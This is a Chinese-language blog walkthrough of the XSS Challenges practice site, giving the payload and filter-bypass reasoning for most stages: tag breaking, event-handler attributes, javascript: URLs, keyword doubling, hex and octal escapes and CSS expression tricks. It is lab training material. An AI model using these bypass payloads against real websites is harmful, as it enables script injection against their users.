XSS模擬實戰訓練【XSS Challenges平台】
- 2020 年 3 月 6 日
- 筆記
文章源自【位元組脈搏社區】-位元組脈搏實驗室
作者-whit
先放上網址:http://xss-quiz.int21h.jp
這是一個模仿真實xss挖洞的情景,在XSS Challenges練習過程中,我們需要用瀏覽器中的f12中搜索(),找出我們控制的代碼所在的位置,然後思考那些個位置哪個或哪幾個位置可以被注入我們想要的代碼,然後結合上下文進行各種腦洞繞過。
建議使用firefox瀏覽器,搭配burp進行練習。

Stage #1
這一道題發現我們寫入的內容直接沒有任何過濾,嵌套在一個<b>標籤裏面,我們常規閉合標籤新建標籤即可。

"</b> <script>alert(document.domain)</script><b>"1"
Stage #2
這一題的注入點是在一個input標籤的value屬性那裡,我們前後閉合input標籤然後在中間加上script就好了。

"><script>alert(document.domain)</script><
Stage #3
這一道題我們的注入點也是在<b>標籤裏面,唯一的不同是用於標籤構造的<>被轉義了,用於匹配掉雙引號的雙引號也被轉義了,所以我們要另外想方法。
我們注意到提交的參數並不只有輸入框中的內容,還有country,也就是數據包中的p2
所以抓包,改包,發包,成功。
查找,我們可以看到我們注入的標籤無任何過濾插入到了<b>標籤上。

p1=1&p2=<script>alert(document.domain)</script>
Stage #4
這裡依然是先抓包,發現有個hackme….


我們構造參數,直接提交,發現直接就過了。

p1=1&p2=Japan&p3="><script>alert(document.domain)</script>"
Stage #5
與Stage#2幾乎一樣,也是value參數,唯一的不同點是在前端限制了輸入的長度,我們直接用bp抓包提交就好了。

"><script>alert(document.domain)</script><
Stage #6
與Stage#2幾乎一樣,也是value參數,唯一不同的是過濾了<>,但沒有過濾」(可以閉合前面的屬性),這樣我們就不可以用新的標籤了,但我們可以在<input>標籤裏面加新的屬性。之後再次點擊輸入框即可通過本關。

" onclick=alert(document.domain) name="1
Stage #7
這道題也是value出問題,但除了<>,這道題把」也過濾了,本來以為這樣就不能把獨立的屬性分隔出來,但我直接使用前一道題的參數,竟然成功觸發了alert。

" onclick=alert(document.domain) name="1
Stage #8
題目是輸入一條url,然後後台把它包在一個<a>標籤里,我們需要點擊超鏈接然後彈窗。
我們百度怎麼在url中執行js,學到可以構造參數,然後點擊超鏈接,點擊過關

javascript:alert(document.domain)
Stage #9
這道題卡住了,暫時沒做出來。先用改包的方式繞過。攔截返回的數據包,修改如下:

<code>alert(document.domain);</code>
<script>alert(document.domain);</script>
這道題我們只能用抓包的功能過。(每一道題都可以)

Stage #10
這個也是value注入點,直接在網頁提交發現,後台把domain過濾掉了。
上網找了下document.domain的等效DOM發現沒有,突然想到是不是只匹配了一次,故嵌套domain
成功彈窗。

"><script>alert(document.domdomainain)</script><
Stage #11
也是value注入點,在網頁中各種提交姿勢試一下,發現script前面加個x,on事件全部不能用,想到除了on事件和script之外還能執行js的是構造a標籤在超鏈中執行js。
構造」><a href=javascript:alert(document)>1</a>< ,發現構造的語句中仍然有script,我們把之中的s進行html實體化,s=s

"><a href=javascript:alert(document.domain)>1</a><
發現被渲染成s了,成功彈窗。(還可以在script中間插入	, ,空格等不可見字符對script進行分割,讓正則匹配不到)
做這道題又把unicode,utf-8,url編碼,html實體等看了一遍,發現它們英文部分有很多相同之處,比如都可以表示為ascii的十、十六進制,只要加不同前綴就好了。

Stage #12
照常嘗試,還是value值,過濾了<>和」,想用編碼能不能繞過(因為過濾了<>」,HTML實體是不行的,html實體不能讓內容逃出來),ie瀏覽器會把 ` `(筆記本1左邊那顆鍵兩次)識別為雙引號,從而讓我們的內容逃出來(<>沒法逃就設置屬性),構造payload。由於我用的火狐,並沒有成功,老方法,抓包繞過。

`` onclick=alert(document.domain)
Stage #13
照常轉義了<>和」,F12發現相比以往的題這道題多了一個style屬性,那肯定就是從這裡入手了。
百度style XSS,搜到一個知識點叫「行內樣式的動態特性」(就是在ie下能在css中執行js代碼)
我在ie下試了很久都不能復現,又百度,發現還有一種利用方法 background:url(javascript:alert('xss'));
還是不能復現,只能歸結為ie版本太高的問題了。
這道題卡住了,暫時沒做出來。先用改包的方式繞過。攔截返回的數據包,修改如下:

<code>alert(document.domain);</code>
<script>alert(document.domain);</script>
Stage #14
和Stage #13幾乎一樣,不同的是轉移了了script和expression,想用&#num;的形式實體一下其中的字母,但發現&號也被轉移了mmp,然後試了下/**/應該也是可以的,可惜不能復現。從大佬的WP上有學來集中繞過方法。
(1)能繞WAF的不止html實體,unicode編碼也行如e -> 065 ,u0065 ; 065xpression(這道題過濾了反斜杠,反斜杠零)
(2)在expression中加反斜杠分隔 ;expression(不行,理由同上)
(3)在expression中加註釋符/**/分隔;ex/**/pression 通過
(4)在expression中加反斜杠零分隔;ex pression 通過
這道題卡住了,暫時沒做出來。先用改包的方式繞過。攔截返回的數據包,修改如下:

<code>alert(document.domain);</code>
<script>alert(document.domain);</script>
Stage #15
隨便試了下,照常轉義<>,」,也轉義了&,過濾了讓我們不能構造html實體,和unicode編碼。~~等等!
是過濾了,不是轉義了!我們試試輸入兩個,發現只過濾了一個!
那就直接unicode就行了(就是\003c和\003e代替<>換成十六進制編碼也就是\x3c,\x3e也是可以的)

\x3cscript\x3ealert(document.domain)\x3c/script\x3e
Stage #16
看到又有document.write,試了試上題的利用代碼,直接過了……看了下hint,發現是替換了x,那與上題唯一的區別就是十六進制編碼不能用了。ps:還有一種編碼格式是八進制編碼?學到一個知識點叫 HTML和javascript的自解碼機制.payload如下:

\74img src=x onclick=alert(document.domain)\76
點擊一下生成得圖片即可過關。

Stage #17
題目說了只能在老ie上復現,那我們就直接看大佬WP好了。
類似於sql注入的寬位元組注入,用%A7(%幾都行,只要符合下面大佬WP中可以用來欺騙的編碼)加上雙引號的%34?讓html自解碼機制誤認為這是寬位元組字符,從而弄掉雙引號。
半角片假名使用兩個位元組來表示:0x8E + 0xA1-0xDF
JIS X 0208字元使用兩個位元組來表示:0xA1-0xFE + 0xA1-0xFE
JIS X 0212字元使用三個位元組來表示:0x8F + 0xA1-0xFE + 0xA1-0xFE

Stage #18
也是老版本ie,跳過不寫。

Stage #19
沒有任何輸入點,抓包沒發現任何東西….
這個不會,抓包跳過。


結尾有個排行榜,可以參觀一波,看來練習得人不少。

寫在最後:
菜雞就是菜雞,沒有全搞定,有興趣得師傅可以嘗試做一下,有答案可以評論告訴我,讓我也跟大家漲一波姿勢。如有錯誤勿噴,請及時指出,作者會馬上修改。